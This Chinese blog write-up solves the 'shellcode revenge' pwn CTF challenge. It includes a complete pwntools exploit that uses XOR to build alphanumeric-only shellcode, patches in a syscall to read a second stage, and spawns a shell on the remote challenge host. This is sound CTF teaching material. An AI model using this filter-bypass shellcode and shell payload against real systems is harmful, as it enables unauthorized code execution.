首页 > 系统相关 >【pwn】shellcode revenge --0~9,A~Z字符的shellcode

【pwn】shellcode revenge --0~9,A~Z字符的shellcode

时间:2023-12-02 13:33:05浏览次数:40  
标签:xor -- rdx eax syscall pwn shellcode payload

查一下保护

拖进ida看主要逻辑

这里的代码逻辑为mmap开辟一段有执行的地址,可以写入shellcode,但这次写入的shellcode有限制 if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 ) break;这里的限制shellcode的十六进制数对应的字符只能是0~9,A~Z,这些十六进制数对应的shellcode基本都是xor

我们gdb调试一下看一下寄存器的值

我们在这里下个断点,然后输入一堆22222222222222222222222222222222222

可以发现这里rax=0,rdi=0,rsi=地址,rdx=地址,这里可以构造read函数,然后就可以读入shellcode,可以绕过字符限制,但这里syscall的十六进制的代码是0f 05

代码如下:

from pwn import * context(os='linux',arch='amd64',log_level='debug') shellcode="syscall" print(asm(shellcode)) 可以发现,显然是不满足上面所限制的十六进制数,但这里可以用异或来达到shellcode的构造,exp如下:
from pwn import *
 
context(arch='amd64',os='linux',log_level='debug')
 
p = remote("node4.buuoj.cn",26157)
 
#p = process('./shellcodere')
 
 
 
payload =  b'\x33\x42\x38'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]   
 
payload += b'\x31\x42\x30'  #31 42 30 xor DWORD PTR [rdx+0x30], eax   将\x4e\x44异或成syscall的十六进制数
 
payload += b'\x33\x42\x37'  #33 42 38 xor eax, DWORD PTR [rdx+0x38] ,eax置0,为调用read函数准备
 
payload += b'\x31\x42\x38'  #31 42 38 xor DWORD PTR [rdx+0x38], eax  减syscall后面代码变成nop,为后面执行shellcode做准备
 
payload += b'\x59'*(0x30-len(payload))  #59 pop rcx
 
payload += b'\x4e\x44'*2  #syscall  0x4e^0x41=0xf 0x44^0x41=0x5   
 
payload += b'A'*8           #xor key
 
p.sendlineafter("magic\n",payload)
 
pause()
 
p.sendline(b'\x90'*0x60+asm(shellcraft.sh()))       
 
p.interactive()

 

标签:xor,--,rdx,eax,syscall,pwn,shellcode,payload
From: https://www.cnblogs.com/GGbomb/p/17871498.html

相关文章

  • C++多线程编程:利用线程提高程序并发性
    C++多线程编程:利用线程提高程序并发性引言在现代计算机系统中,程序的并发性已经变得越来越重要。多线程编程是一种利用计算机的多核处理器来提高程序性能的方法。C++是一种功能强大的编程语言,提供了丰富的多线程编程支持。本文将介绍如何利用C++多线程编程来提高程序的并发性。什么......
  • OOM了?物理内存不够了?试试这个方法来提升内存容量,不花钱的
    通过增加虚拟内存来提高内存使用本文解决的实际问题:当我们物理内存小的时候,会出现OOM,然后服务自动死掉的情况。因为物理内存大小是固定的,有没有其他好的办法来解决呢?这里我们可以适当调整Linux的虚拟内存来协作。问题描述:最近遇到一个情况,物理内存不够,导致项目一两天就自动死掉了。......
  • 【数据结构】第一章——习题演练
    导言本篇章题目出自:王道考研系列丛书——《2024年数据结构考研复习指导》课后习题。题目主要考察的是对时间复杂度的分析,在前面的篇章中我们知道时间复杂度是与问题规模n和输入的值k有关的,但是我们在分析时间复杂度时都是以最坏时间复杂度进行分析,这样能确保算法的运行时间不会比......
  • 【小沐学前端】Node.js实现UDP通信
    1、node简介Node.js是一个开源的、跨平台的JavaScript运行时环境。Node.js是一个开源和跨平台的JavaScript运行时环境。它是几乎任何类型项目的流行工具!Node.js在浏览器之外运行V8JavaScript引擎(GoogleChrome的内核)。这使得Node.js非常高效。Node.js应用在......
  • 无涯教程-Erlang - 简介
    Erlang(/ˈɜːrlæŋ/)是一种通用的并发程序设计语言,它由乔·阿姆斯特朗(JoeArmstrong)在瑞典电信设备制造商爱立信所辖的计算机科学研究室开发,目的是创造一种可以应付大规模并发活动的程序设计语言和运行环境。Erlang于1987年发布正式版本,最早是爱立信拥有的私有软件,经过十年的发......
  • CSS技巧:从高度0过渡到自动高度
    本文翻译自CSStrick:transitionfromheight0toauto!,作者:FrancescoVetere,略有删改。如果你在CSS上花了足够长的时间,很可能你曾尝试过从height:0到auto的平滑过渡。。。却发现它不起作用!......
  • 使用Navicat For MSSQL连接绿色版SQLServer2008R2问题解决
    问题1、创建连接时出现错误:[IM002][Microsoft][ODBC驱动程序管理器]未发现数据源名称并且未指定默认驱动程序(0)Navicat来连接SQLserver,这里确实有点麻烦,出现错误[IM002][Microsoft][ODBC驱动程序管理器]未发现数据源名称并且未指定默认驱动程序(0),解决方法:进入Navicat的安装......
  • 冲刺博客(2)
    目录各个成员在Alpha阶段认领的任务明日各个成员的任务安排整个项目预期的任务量团队成员贡献值的计算规则站立式会议照片一张项目燃尽图各个成员在Alpha阶段认领的任务20211217周哲成服务器多线程20211201李柏林加密传输20211210王宇轩加密传输2021121......
  • 第10次-创建一个在线网站
    这个作业属于哪个课程https://edu.cnblogs.com/campus/uzz/cs3这个作业要求在哪里https://edu.cnblogs.com/campus/uzz/cs3/homework/13118这个作业的目标第10次-创建一个在线网站网址http://82.156.34.76/......
  • 企业级持续集成系列(01):DevTestOps自动化平台设计
     本系列汇总,请查看这里:https://www.cnblogs.com/uncleyong/p/16721826.html 为什么要写企业级持续集成(jenkins+pipeline+k8s)?目前网上自动化持续集成的资料很多,但基本上都是局限于jenkins自由风格的job,结合shell脚本来实现持续集成,这种方式的缺点也很明显:1、构建出问......